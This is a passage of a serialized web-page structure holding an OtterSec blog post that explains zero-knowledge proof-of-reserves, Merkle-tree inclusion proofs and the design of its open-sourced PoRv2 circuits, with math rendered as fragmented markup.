PoR?",{"type":19,"tag":20,"props":90060,"children":90061},{},[90062,90064,90069],{"type":24,"value":90063},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":19,"tag":51,"props":90065,"children":90066},{},[90067],{"type":24,"value":90068},"Zero-Knowledge Proofs (ZKPs)",{"type":24,"value":90070}," become game-changers.",{"type":19,"tag":20,"props":90072,"children":90073},{},[90074],{"type":24,"value":90075},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":19,"tag":20,"props":90077,"children":90078},{},[90079],{"type":24,"value":90080},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":19,"tag":2869,"props":90082,"children":90083},{},[90084,90101],{"type":19,"tag":47,"props":90085,"children":90086},{},[90087,90092,90094,90100],{"type":19,"tag":51,"props":90088,"children":90089},{},[90090],{"type":24,"value":90091},"Sum proof",{"type":24,"value":90093},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":19,"tag":27,"props":90095,"children":90097},{"className":90096},[],[90098],{"type":24,"value":90099},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":24,"value":18197},{"type":19,"tag":47,"props":90102,"children":90103},{},[90104,90109,90111,90116],{"type":19,"tag":51,"props":90105,"children":90106},{},[90107],{"type":24,"value":90108},"Non-negativity",{"type":24,"value":90110},": All users have a ",{"type":19,"tag":51,"props":90112,"children":90113},{},[90114],{"type":24,"value":90115},"positive",{"type":24,"value":90117}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":19,"tag":20,"props":90119,"children":90120},{},[90121],{"type":24,"value":90122},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":19,"tag":36,"props":90124,"children":90126},{"id":90125},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[90127],{"type":24,"value":90128},"What is a Merkle Tree and how does it help in a PoR?",{"type":19,"tag":20,"props":90130,"children":90131},{},[90132],{"type":24,"value":90133},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":19,"tag":20,"props":90135,"children":90136},{},[90137],{"type":19,"tag":1344,"props":90138,"children":90140},{"alt":48061,"src":90139},"/posts/por/merkle-tree.png",[],{"type":19,"tag":20,"props":90142,"children":90143},{},[90144],{"type":24,"value":90145},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":19,"tag":2869,"props":90147,"children":90148},{},[90149,90162,90167],{"type":19,"tag":47,"props":90150,"children":90151},{},[90152,90154,90160],{"type":24,"value":90153},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":19,"tag":27,"props":90155,"children":90157},{"className":90156},[],[90158],{"type":24,"value":90159},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":24,"value":90161},");",{"type":19,"tag":47,"props":90163,"children":90164},{},[90165],{"type":24,"value":90166},"The Merkle tree is made public;",{"type":19,"tag":47,"props":90168,"children":90169},{},[90170],{"type":24,"value":90171},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":19,"tag":20,"props":90173,"children":90174},{},[90175],{"type":24,"value":90176},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":19,"tag":36,"props":90178,"children":90180},{"id":90179},"ottersec-porv2",[90181],{"type":24,"value":90182},"OtterSec PoRv2",{"type":19,"tag":20,"props":90184,"children":90185},{},[90186,90192,90194,90201],{"type":19,"tag":269,"props":90187,"children":90189},{"href":90023,"rel":90188},[273],[90190],{"type":24,"value":90191},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":24,"value":90193},", which uses the ",{"type":19,"tag":269,"props":90195,"children":90198},{"href":90196,"rel":90197},"https://github.com/0xPolygonZero/plonky2",[273],[90199],{"type":24,"value":90200},"plonky2 ZK algorithm",{"type":24,"value":90202}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":19,"tag":20,"props":90204,"children":90205},{},[90206,90208,90215],{"type":24,"value":90207},"We named it PoRv2 because we already had a version based on ",{"type":19,"tag":269,"props":90209,"children":90212},{"href":90210,"rel":90211},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[273],[90213],{"type":24,"value":90214},"Vitalik's proof of solvency",{"type":24,"value":90216},", which was not optimal.",{"type":19,"tag":20,"props":90218,"children":90219},{},[90220],{"type":19,"tag":51,"props":90221,"children":90222},{},[90223],{"type":24,"value":90224},"Non-negativity Proof",{"type":19,"tag":20,"props":90226,"children":90227},{},[90228],{"type":24,"value":90229},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":19,"tag":20,"props":90231,"children":90232},{},[90233],{"type":24,"value":90234},"We also check for overflows during summation to prevent tampering in the final result.",{"type":19,"tag":20,"props":90236,"children":90237},{},[90238],{"type":19,"tag":51,"props":90239,"children":90240},{},[90241],{"type":24,"value":90242},"Sum Proof",{"type":19,"tag":20,"props":90244,"children":90245},{},[90246,90248,90254],{"type":24,"value":90247},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":19,"tag":27,"props":90249,"children":90251},{"className":90250},[],[90252],{"type":24,"value":90253},"BTC final: user1_btc + user2_btc ...",{"type":24,"value":90255},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":19,"tag":7050,"props":90257,"children":90259},{"id":90258},"what-are-the-ottersec-porv2-key-points",[90260],{"type":24,"value":90261},"What are the OtterSec PoRv2 key points?",{"type":19,"tag":2869,"props":90263,"children":90264},{},[90265,90275,90293,90303,90334],{"type":19,"tag":47,"props":90266,"children":90267},{},[90268,90273],{"type":19,"tag":51,"props":90269,"children":90270},{},[90271],{"type":24,"value":90272},"Transparency",{"type":24,"value":90274},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":19,"tag":47,"props":90276,"children":90277},{},[90278,90283,90285,90292],{"type":19,"tag":51,"props":90279,"children":90280},{},[90281],{"type":24,"value":90282},"Time-efficiency",{"type":24,"value":90284},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":19,"tag":269,"props":90286,"children":90289},{"href":90287,"rel":90288},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[273],[90290],{"type":24,"value":90291},"Check our benchmark",{"type":24,"value":948},{"type":19,"tag":47,"props":90294,"children":90295},{},[90296,90301],{"type":19,"tag":51,"props":90297,"children":90298},{},[90299],{"type":24,"value":90300},"Memory-efficiency",{"type":24,"value":90302},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":19,"tag":47,"props":90304,"children":90305},{},[90306,90311,90313,90318,90320,90325,90327,90332],{"type":19,"tag":51,"props":90307,"children":90308},{},[90309],{"type":24,"value":90310},"Small-proofs",{"type":24,"value":90312},": We were able to reduce the final proof to less than ",{"type":19,"tag":51,"props":90314,"children":90315},{},[90316],{"type":24,"value":90317},"500KB",{"type":24,"value":90319}," and each inclusion proof to ",{"type":19,"tag":51,"props":90321,"children":90322},{},[90323],{"type":24,"value":90324},"~52KB",{"type":24,"value":90326},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":19,"tag":51,"props":90328,"children":90329},{},[90330],{"type":24,"value":90331},"200MB",{"type":24,"value":90333}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":19,"tag":47,"props":90335,"children":90336},{},[90337,90342],{"type":19,"tag":51,"props":90338,"children":90339},{},[90340],{"type":24,"value":90341},"Privacy",{"type":24,"value":90343},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":19,"tag":36,"props":90345,"children":90347},{"id":90346},"zk-circuits",[90348],{"type":24,"value":90349},"ZK Circuits",{"type":19,"tag":20,"props":90351,"children":90352},{},[90353],{"type":24,"value":90354},"We use two different ZK circuits to generate the final proof:",{"type":19,"tag":2869,"props":90356,"children":90357},{},[90358,90363],{"type":19,"tag":47,"props":90359,"children":90360},{},[90361],{"type":24,"value":90362},"Batch circuit",{"type":19,"tag":47,"props":90364,"children":90365},{},[90366],{"type":24,"value":90367},"Recursive circuit",{"type":19,"tag":20,"props":90369,"children":90370},{},[90371],{"type":24,"value":90372},"With those two circuits, we can generate the proofs recursive tree:",{"type":19,"tag":20,"props":90374,"children":90375},{},[90376],{"type":19,"tag":1344,"props":90377,"children":90379},{"alt":48061,"src":90378},"/posts/por/batch-circuit.png",[],{"type":19,"tag":315,"props":90381,"children":90382},{},[90383],{"type":19,"tag":20,"props":90384,"children":90385},{},[90386,90388,90394,90396,90402],{"type":24,"value":90387},"Note: We are using 512 as ",{"type":19,"tag":27,"props":90389,"children":90391},{"className":90390},[],[90392],{"type":24,"value":90393},"BATCH_SIZE",{"type":24,"value":90395}," and 8 as ",{"type":19,"tag":27,"props":90397,"children":90399},{"className":90398},[],[90400],{"type":24,"value":90401},"RECURSIVE_SIZE",{"type":24,"value":90403}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":19,"tag":315,"props":90405,"children":90406},{},[90407],{"type":19,"tag":20,"props":90408,"children":90409},{},[90410],{"type":24,"value":90411},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":19,"tag":20,"props":90413,"children":90414},{},[90415],{"type":24,"value":90416},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":19,"tag":7050,"props":90418,"children":90420},{"id":90419},"leaf-nodes",[90421],{"type":24,"value":90422},"Leaf Nodes",{"type":19,"tag":20,"props":90424,"children":90425},{},[90426],{"type":24,"value":90427},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":19,"tag":20,"props":90429,"children":90430},{},[90431],{"type":19,"tag":27,"props":90432,"children":90434},{"className":90433},[1411,1412],[90435],{"type":19,"tag":168,"props":90436,"children":90438},{"className":90437},[1417],[90439],{"type":19,"tag":168,"props":90440,"children":90442},{"className":90441,"ariaHidden":1423},[1422],[90443,90470],{"type":19,"tag":168,"props":90444,"children":90446},{"className":90445},[1428],[90447,90452,90457,90461,90466],{"type":19,"tag":168,"props":90448,"children":90451},{"className":90449,"style":90450},[1433],"height:0.6944em;",[],{"type":19,"tag":168,"props":90453,"children":90455},{"className":90454},[1439,19043],[90456],{"type":24,"value":81834},{"type":19,"tag":168,"props":90458,"children":90460},{"className":90459,"style":1618},[1520],[],{"type":19,"tag":168,"props":90462,"children":90464},{"className":90463},[1623],[90465],{"type":24,"value":486},{"type":19,"tag":168,"props":90467,"children":90469},{"className":90468,"style":1618},[1520],[],{"type":19,"tag":168,"props":90471,"children":90473},{"className":90472},[1428],[90474,90479,90484,90490,90495,90500,90506,90511,90516,90521,90527,90532,90538,90544,90551,90557,90563,90623,90628,90634,90639,90644,90649,90654,90659,90664,90669,90674,90679,90736,90741,90746,90751,90756,90761,90766,90773,90778,90784,90789,90795,90801,90806,90811,90816,90821,90826,90831,90836,90841,90846,90851,90856,90861,90866,90871],{"type":19,"tag":168,"props":90475,"children":90478},{"className":90476,"style":90477},[1433],"height:1.06em;vertical-align:-0.31em;",[],{"type":19,"tag":168,"props":90480,"children":90482},{"className":90481,"style":19044},[1439,19043],[90483],{"type":24,"value":19047},{"type":19,"tag":168,"props":90485,"children":90487},{"className":90486},[1439,19043],[90488],{"type":24,"value":90489},"ose",{"type":19,"tag":168,"props":90491,"children":90493},{"className":90492},[1439,19043],[90494],{"type":24,"value":1157},{"type":19,"tag":168,"props":90496,"children":90498},{"className":90497},[1439,19043],[90499],{"type":24,"value":68051},{"type":19,"tag":168,"props":90501,"children":90503},{"className":90502},[1439,19043],[90504],{"type":24,"value":90505},"o",{"type":19,"tag":168,"props":90507,"children":90509},{"className":90508},[1439,19043],[90510],{"type":24,"value":53887},{"type":19,"tag":168,"props":90512,"children":90514},{"className":90513},[19172],[90515],{"type":24,"value":500},{"type":19,"tag":168,"props":90517,"children":90519},{"className":90518},[1439,19043],[90520],{"type":24,"value":269},{"type":19,"tag":168,"props":90522,"children":90524},{"className":90523},[1439,19043],[90525],{"type":24,"value":90526},"sse",{"type":19,"tag":168,"props":90528,"children":90530},{"className":90529},[1439,19043],[90531],{"type":24,"value":19185},{"type":19,"tag":168,"props":90533,"children":90536},{"className":90534,"style":90535},[1439],"margin-right:0.02778em;",[90537],{"type":24,"value":476},{"type":19,"tag":168,"props":90539,"children":90541},{"className":90540},[1439,19043],[90542],{"type":24,"value":90543},"ba",{"type":19,"tag":168,"props":90545,"children":90548},{"className":90546,"style":90547},[1439,19043],"margin-right:0.01968em;",[90549],{"type":24,"value":90550},"l",{"type":19,"tag":168,"props":90552,"children":90554},{"className":90553},[1439,19043],[90555],{"type":24,"value":90556},"an",{"type":19,"tag":168,"props":90558,"children":90560},{"className":90559},[1439,19043],[90561],{"type":24,"value":90562},"ce",{"type":19,"tag":168,"props":90564,"children":90566},{"className":90565},[1439],[90567,90572],{"type":19,"tag":168,"props":90568,"children":90570},{"className":90569},[1439,19043],[90571],{"type":24,"value":8095},{"type":19,"tag":168,"props":90573,"children":90575},{"className":90574},[1456],[90576],{"type":19,"tag":168,"props":90577,"children":90579},{"className":90578},[1461,19097],[90580,90611],{"type":19,"tag":168,"props":90581,"children":90583},{"className":90582},[1466],[90584,90606],{"type":19,"tag":168,"props":90585,"children":90588},{"className":90586,"style":90587},[1471],"height:0.3011em;",[90589],{"type":19,"tag":168,"props":90590,"children":90592},{"style":90591},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[90593,90597],{"type":19,"tag":168,"props":90594,"children":90596},{"className":90595,"style":1481},[1480],[],{"type":19,"tag":168,"props":90598,"children":90600},{"className":90599},[1486,1487,1488,1489],[90601],{"type":19,"tag":168,"props":90602,"children":90604},{"className":90603},[1439,1489],[90605],{"type":24,"value":1452},{"type":19,"tag":168,"props":90607,"children":90609},{"className":90608},[19200],[90610],{"type":24,"value":19203},{"type":19,"tag":168,"props":90612,"children":90614},{"className":90613},[1466],[90615],{"type":19,"tag":168,"props":90616,"children":90619},{"className":90617,"style":90618},[1471],"height:0.15em;",[90620],{"type":19,"tag":168,"props":90621,"children":90622},{},[],{"type":19,"tag":168,"props":90624,"children":90626},{"className":90625},[1520],[90627],{"type":24,"value":19144},{"type":19,"tag":168,"props":90629,"children":90631},{"className":90630},[1439],[90632],{"type":24,"value":90633},"∣∣",{"type":19,"tag":168,"props":90635,"children":90637},{"className":90636},[1520],[90638],{"type":24,"value":19144},{"type":19,"tag":168,"props":90640,"children":90642},{"className":90641},[1439,19043],[90643],{"type":24,"value":269},{"type":19,"tag":168,"props":90645,"children":90647},{"className":90646},[1439,19043],[90648],{"type":24,"value":90526},{"type":19,"tag":168,"props":90650,"children":90652},{"className":90651},[1439,19043],[90653],{"type":24,"value":19185},{"type":19,"tag":168,"props":90655,"children":90657},{"className":90656,"style":90535},[1439],[90658],{"type":24,"value":476},{"type":19,"tag":168,"props":90660,"children":90662},{"className":90661},[1439,19043],[90663],{"type":24,"value":90543},{"type":19,"tag":168,"props":90665,"children":90667},{"className":90666,"style":90547},[1439,19043],[90668],{"type":24,"value":90550},{"type":19,"tag":168,"props":90670,"children":90672},{"className":90671},[1439,19043],[90673],{"type":24,"value":90556},{"type":19,"tag":168,"props":90675,"children":90677},{"className":90676},[1439,19043],[90678],{"type":24,"value":90562},{"type":19,"tag":168,"props":90680,"children":90682},{"className":90681},[1439],[90683,90688],{"type":19,"tag":168,"props":90684,"children":90686},{"className":90685},[1439,19043],[90687],{"type":24,"value":8095},{"type":19,"tag":168,"props":90689,"children":90691},{"className":90690},[1456],[90692],{"type":19,"tag":168,"props":90693,"children":90695},{"className":90694},[1461,19097],[90696,90725],{"type":19,"tag":168,"props":90697,"children":90699},{"className":90698},[1466],[90700,90720],{"type":19,"tag":168,"props":90701,"children":90703},{"className":90702,"style":90587},[1471],[90704],{"type":19,"tag":168,"props":90705,"children":90706},{"style":90591},[90707,90711],{"type":19,"tag":168,"props":90708,"children":90710},{"className":90709,"style":1481},[1480],[],{"type":19,"tag":168,"props":90712,"children":90714},{"className":90713},[1486,1487,1488,1489],[90715],{"type":19,"tag":168,"props":90716,"children":90718},{"className":90717},[1439,1489],[90719],{"type":24,"value":1442},{"type":19,"tag":168,"props":90721,"children":90723},{"className":90722},[19200],[90724],{"type":24,"value":19203},{"type":19,"tag":168,"props":90726,"children":90728},{"className":90727},[1466],[90729],{"type":19,"tag":168,"props":90730,"children":90732},{"className":90731,"style":90618},[1471],[90733],{"type":19,"tag":168,"props":90734,"children":90735},{},[],{"type":19,"tag":168,"props":90737,"children":90739},{"className":90738},[1520],[90740],{"type":24,"value":19144},{"type":19,"tag":168,"props":90742,"children":90744},{"className":90743},[1439],[90745],{"type":24,"value":7032},{"type":19,"tag":168,"props":90747,"children":90749},{"className":90748},[1520],[90750],{"type":24,"value":19144},{"type":19,"tag":168,"props":90752,"children":90754},{"className":90753},[1439],[90755],{"type":24,"value":90633},{"type":19,"tag":168,"props":90757,"children":90759},{"className":90758},[1520],[90760],{"type":24,"value":19144},{"type":19,"tag":168,"props":90762,"children":90764},{"className":90763,"style":19502},[1439,19043],[90765],{"type":24,"value":19505},{"type":19,"tag":168,"props":90767,"children":90770},{"className":90768,"style":90769},[1439,19043],"margin-right:0.08125em;",[90771],{"type":24,"value":90772},"H",{"type":19,"tag":168,"props":90774,"children":90776},{"className":90775},[1439,19043],[90777],{"type":24,"value":74256},{"type":19,"tag":168,"props":90779,"children":90781},{"className":90780},[1439],[90782],{"type":24,"value":90783},"256",{"type":19,"tag":168,"props":90785,"children":90787},{"className":90786},[19172],[90788],{"type":24,"value":500},{"type":19,"tag":168,"props":90790,"children":90792},{"className":90791},[1439,19043],[90793],{"type":24,"value":90794},"u",{"type":19,"tag":168,"props":90796,"children":90798},{"className":90797,"style":90535},[1439,19043],[90799],{"type":24,"value":90800},"ser",{"type":19,"tag":168,"props":90802,"children":90804},{"className":90803,"style":90535},[1439],[90805],{"type":24,"value":476},{"type":19,"tag":168,"props":90807,"children":90809},{"className":90808},[1439,19043],[90810],{"type":24,"value":1157},{"type":19,"tag":168,"props":90812,"children":90814},{"className":90813},[1439,19043],[90815],{"type":24,"value":68051},{"type":19,"tag":168,"props":90817,"children":90819},{"className":90818},[19194],[90820],{"type":24,"value":524},{"type":19,"tag":168,"props":90822,"children":90824},{"className":90823},[1520],[90825],{"type":24,"value":19144},{"type":19,"tag":168,"props":90827,"children":90829},{"className":90828},[1439],[90830],{"type":24,"value":90633},{"type":19,"tag":168,"props":90832,"children":90834},{"className":90833},[1520],[90835],{"type":24,"value":19144},{"type":19,"tag":168,"props":90837,"children":90839},{"className":90838},[1439,19043],[90840],{"type":24,"value":90794},{"type":19,"tag":168,"props":90842,"children":90844},{"className":90843,"style":90535},[1439,19043],[90845],{"type":24,"value":90800},{"type":19,"tag":168,"props":90847,"children":90849},{"className":90848,"style":90535},[1439],[90850],{"type":24,"value":476},{"type":19,"tag":168,"props":90852,"children":90854},{"className":90853},[1439,19043],[90855],{"type":24,"value":53887},{"type":19,"tag":168,"props":90857,"children":90859},{"className":90858},[1439,19043],[90860],{"type":24,"value":90505},{"type":19,"tag":168,"props":90862,"children":90864},{"className":90863},[1439,19043],[90865],{"type":24,"value":53887},{"type":19,"tag":168,"props":90867,"children":90869},{"className":90868},[1439,19043],[90870],{"type":24,"value":90562},{"type":19,"tag":168,"props":90872,"children":90874},{"className":90873},[19194],[90875],{"type":24,"value":524},{"type":19,"tag":20,"props":90877,"children":90878},{},[90879,90881,90887],{"type":24,"value":90880},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":19,"tag":27,"props":90882,"children":90884},{"className":90883},[],[90885],{"type":24,"value":90886},"uuid",{"type":24,"value":90888},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":19,"tag":7050,"props":90890,"children":90892},{"id":90891},"batch-circuit",[90893],{"type":24,"value":90894},"Batch Circuit",{"type":19,"tag":20,"props":90896,"children":90897},{},[90898],{"type":24,"value":90899},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":19,"tag":20,"props":90901,"children":90902},{},[90903],{"type":19,"tag":51,"props":90904,"children":90905},{},[90906],{"type":24,"value":90907},"Public Inputs",{"type":19,"tag":43,"props":90909,"children":90910},{},[90911,90916,90921],{"type":19,"tag":47,"props":90912,"children":90913},{},[90914],{"type":24,"value":90915},"Asset prices in USD",{"type":19,"tag":47,"props":90917,"children":90918},{},[90919],{"type":24,"value":90920},"Merkle tree hash",{"type":19,"tag":47,"props":90922,"children":90923},{},[90924],{"type":24,"value":90925},"Summed asset balances",{"type":19,"tag":20,"props":90927,"children":90928},{},[90929],{"type":19,"tag":51,"props":90930,"children":90931},{},[90932],{"type":24,"value":90933},"Private Inputs",{"type":19,"tag":43,"props":90935,"children":90936},{},[90937,90942],{"type":19,"tag":47,"props":90938,"children":90939},{},[90940],{"type":24,"value":90941},"Users balances",{"type":19,"tag":47,"props":90943,"children":90944},{},[90945],{"type":24,"value":90946},"Merkle tree leaves hashes",{"type":19,"tag":20,"props":90948,"children":90949},{},[90950],{"type":19,"tag":51,"props":90951,"children":90952},{},[90953],{"type":24,"value":90954},"Constraints",{"type":19,"tag":43,"props":90956,"children":90957},{},[90958,91411,91579,91926,92324],{"type":19,"tag":47,"props":90959,"children":90960},{},[90961],{"type":19,"tag":27,"props":90962,"children":90964},{"className":90963},[1411,1412],[90965],{"type":19,"tag":168,"props":90966,"children":90968},{"className":90967},[1417],[90969],{"type":19,"tag":168,"props":90970,"children":90972},{"className":90971,"ariaHidden":1423},[1422],[90973,91112,91316],{"type":19,"tag":168,"props":90974,"children":90976},{"className":90975},[1428],[90977,90982,90987,90993,90998,91003,91008,91013,91018,91025,91030,91035,91040,91099,91103,91108],{"type":19,"tag":168,"props":90978,"children":90981},{"className":90979,"style":90980},[1433],"height:0.9695em;vertical-align:-0.31em;",[],{"type":19,"tag":168,"props":90983,"children":90985},{"className":90984},[1439,19043],[90986],{"type":24,"value":269},{"type":19,"tag":168,"props":90988,"children":90990},{"className":90989},[1439,19043],[90991],{"type":24,"value":90992},"cco",{"type":19,"tag":168,"props":90994,"children":90996},{"className":90995},[1439,19043],[90997],{"type":24,"value":90794},{"type":19,"tag":168,"props":90999,"children":91001},{"className":91000},[1439,19043],[91002],{"type":24,"value":53887},{"type":19,"tag":168,"props":91004,"children":91006},{"className":91005},[1439,19043],[91007],{"type":24,"value":19185},{"type":19,"tag":168,"props":91009,"children":91011},{"className":91010,"style":90535},[1439],[91012],{"type":24,"value":476},{"type":19,"tag":168,"props":91014,"children":91016},{"className":91015},[1439,19043],[91017],{"type":24,"value":48937},{"type":19,"tag":168,"props":91019,"children":91022},{"className":91020,"style":91021},[1439,19043],"margin-right:0.03588em;",[91023],{"type":24,"value":91024},"q",{"type":19,"tag":168,"props":91026,"children":91028},{"className":91027},[1439,19043],[91029],{"type":24,"value":90794},{"type":19,"tag":168,"props":91031,"children":91033},{"className":91032},[1439,19043],[91034],{"type":24,"value":1157},{"type":19,"tag":168,"props":91036,"children":91038},{"className":91037},[1439,19043],[91039],{"type":24,"value":19185},{"type":19,"tag":168,"props":91041,"children":91043},{"className":91042},[1439],[91044,91049],{"type":19,"tag":168,"props":91045,"children":91047},{"className":91046,"style":91021},[1439,19043],[91048],{"type":24,"value":510},{"type":19,"tag":168,"props":91050,"children":91052},{"className":91051},[1456],[91053],{"type":19,"tag":168,"props":91054,"children":91056},{"className":91055},[1461,19097],[91057,91088],{"type":19,"tag":168,"props":91058,"children":91060},{"className":91059},[1466],[91061,91083],{"type":19,"tag":168,"props":91062,"children":91065},{"className":91063,"style":91064},[1471],"height:0.3117em;",[91066],{"type":19,"tag":168,"props":91067,"children":91069},{"style":91068},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[91070,91074],{"type":19,"tag":168,"props":91071,"children":91073},{"className":91072,"style":1481},[1480],[],{"type":19,"tag":168,"props":91075,"children":91077},{"className":91076},[1486,1487,1488,1489],[91078],{"type":19,"tag":168,"props":91079,"children":91081},{"className":91080},[1439,19043,1489],[91082],{"type":24,"value":1157},{"type":19,"tag":168,"props":91084,"children":91086},{"className":91085},[19200],[91087],{"type":24,"value":19203},{"type":19,"tag":168,"props":91089,"children":91091},{"className":91090},[1466],[91092],{"type":19,"tag":168,"props":91093,"children":91095},{"className":91094,"style":90618},[1471],[91096],{"type":19,"tag":168,"props":91097,"children":91098},{},[],{"type":19,"tag":168,"props":91100,"children":91102},{"className":91101,"style":1618},[1520],[],{"type":19,"tag":168,"props":91104,"children":91106},{"className":91105},[1623],[91107],{"type":24,"value":6013},{"type":19,"tag":168,"props":91109,"children":91111},{"className":91110,"style":1618},[1520],[],{"type":19,"tag":168,"props":91113,"children":91115},{"className":91114},[1428],[91116,91120,91126,91131,91136,91141,91146,91151,91156,91161,91166,91171,91176,91181,91186,91191,91196,91201,91258,91263,91268,91273,91278,91283,91288,91293,91298,91303,91307,91312],{"type":19,"tag":168,"props":91117,"children":91119},{"className":91118,"style":90477},[1433],[],{"type":19,"tag":168,"props":91121,"children":91123},{"className":91122},[1439],[91124],{"type":24,"value":91125},"Σ",{"type":19,"tag":168,"props":91127,"children":91129},{"className":91128},[1520],[91130],{"type":24,"value":19144},{"type":19,"tag":168,"props":91132,"children":91134},{"className":91133},[1439,19043],[91135],{"type":24,"value":269},{"type":19,"tag":168,"props":91137,"children":91139},{"className":91138},[1439,19043],[91140],{"type":24,"value":90992},{"type":19,"tag":168,"props":91142,"children":91144},{"className":91143},[1439,19043],[91145],{"type":24,"value":90794},{"type":19,"tag":168,"props":91147,"children":91149},{"className":91148},[1439,19043],[91150],{"type":24,"value":53887},{"type":19,"tag":168,"props":91152,"children":91154},{"className":91153},[1439,19043],[91155],{"type":24,"value":19185},{"type":19,"tag":168,"props":91157,"children":91159},{"className":91158,"style":90535},[1439],[91160],{"type":24,"value":476},{"type":19,"tag":168,"props":91162,"children":91164},{"className":91163},[1439,19043],[91165],{"type":24,"value":269},{"type":19,"tag":168,"props":91167,"children":91169},{"className":91168},[1439,19043],[91170],{"type":24,"value":90526},{"type":19,"tag":168,"props":91172,"children":91174},{"className":91173},[1439,19043],[91175],{"type":24,"value":19185},{"type":19,"tag":168,"props":91177,"children":91179},{"className":91178,"style":90535},[1439],[91180],{"type":24,"value":476},{"type":19,"tag":168,"props":91182,"children":91184},{"className":91183},[1439,19043],[91185],{"type":24,"value":90543},{"type":19,"tag":168,"props":91187,"children":91189},{"className":91188,"style":90547},[1439,19043],[91190],{"type":24,"value":90550},{"type":19,"tag":168,"props":91192,"children":91194},{"className":91193},[1439,19043],[91195],{"type":24,"value":90556},{"type":19,"tag":168,"props":91197,"children":91199},{"className":91198},[1439,19043],[91200],{"type":24,"value":90562},{"type":19,"tag":168,"props":91202,"children":91204},{"className":91203},[1439],[91205,91210],{"type":19,"tag":168,"props":91206,"children":91208},{"className":91207},[1439,19043],[91209],{"type":24,"value":8095},{"type":19,"tag":168,"props":91211,"children":91213},{"className":91212},[1456],[91214],{"type":19,"tag":168,"props":91215,"children":91217},{"className":91216},[1461,19097],[91218,91247],{"type":19,"tag":168,"props":91219,"children":91221},{"className":91220},[1466],[91222,91242],{"type":19,"tag":168,"props":91223,"children":91225},{"className":91224,"style":91064},[1471],[91226],{"type":19,"tag":168,"props":91227,"children":91228},{"style":90591},[91229,91233],{"type":19,"tag":168,"props":91230,"children":91232},{"className":91231,"style":1481},[1480],[],{"type":19,"tag":168,"props":91234,"children":91236},{"className":91235},[1486,1487,1488,1489],[91237],{"type":19,"tag":168,"props":91238,"children":91240},{"className":91239},[1439,19043,1489],[91241],{"type":24,"value":1157},{"type":19,"tag":168,"props":91243,"children":91245},{"className":91244},[19200],[91246],{"type":24,"value":19203},{"type":19,"tag":168,"props":91248,"children":91250},{"className":91249},[1466],[91251],{"type":19,"tag":168,"props":91252,"children":91254},{"className":91253,"style":90618},[1471],[91255],{"type":19,"tag":168,"props":91256,"children":91257},{},[],{"type":19,"tag":168,"props":91259,"children":91261},{"className":91260},[19172],[91262],{"type":24,"value":1152},{"type":19,"tag":168,"props":91264,"children":91266},{"className":91265},[1439,19043],[91267],{"type":24,"value":269},{"type":19,"tag":168,"props":91269,"children":91271},{"className":91270},[1439,19043],[91272],{"type":24,"value":90526},{"type":19,"tag":168,"props":91274,"children":91276},{"className":91275},[1439,19043],[91277],{"type":24,"value":19185},{"type":19,"tag":168,"props":91279,"children":91281},{"className":91280,"style":90535},[1439],[91282],{"type":24,"value":476},{"type":19,"tag":168,"props":91284,"children":91286},{